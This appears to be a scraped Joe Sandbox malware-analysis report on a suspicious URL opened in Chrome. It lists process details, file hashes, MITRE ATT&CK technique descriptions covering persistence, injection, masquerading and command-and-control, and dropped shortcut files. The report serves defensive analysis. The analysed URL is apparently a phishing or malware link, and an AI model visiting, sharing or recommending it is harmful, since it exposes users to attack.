Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2032,i,2131495140126217569,7822506574545057631,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	22:48:24
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

Windows Analysis Report
http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye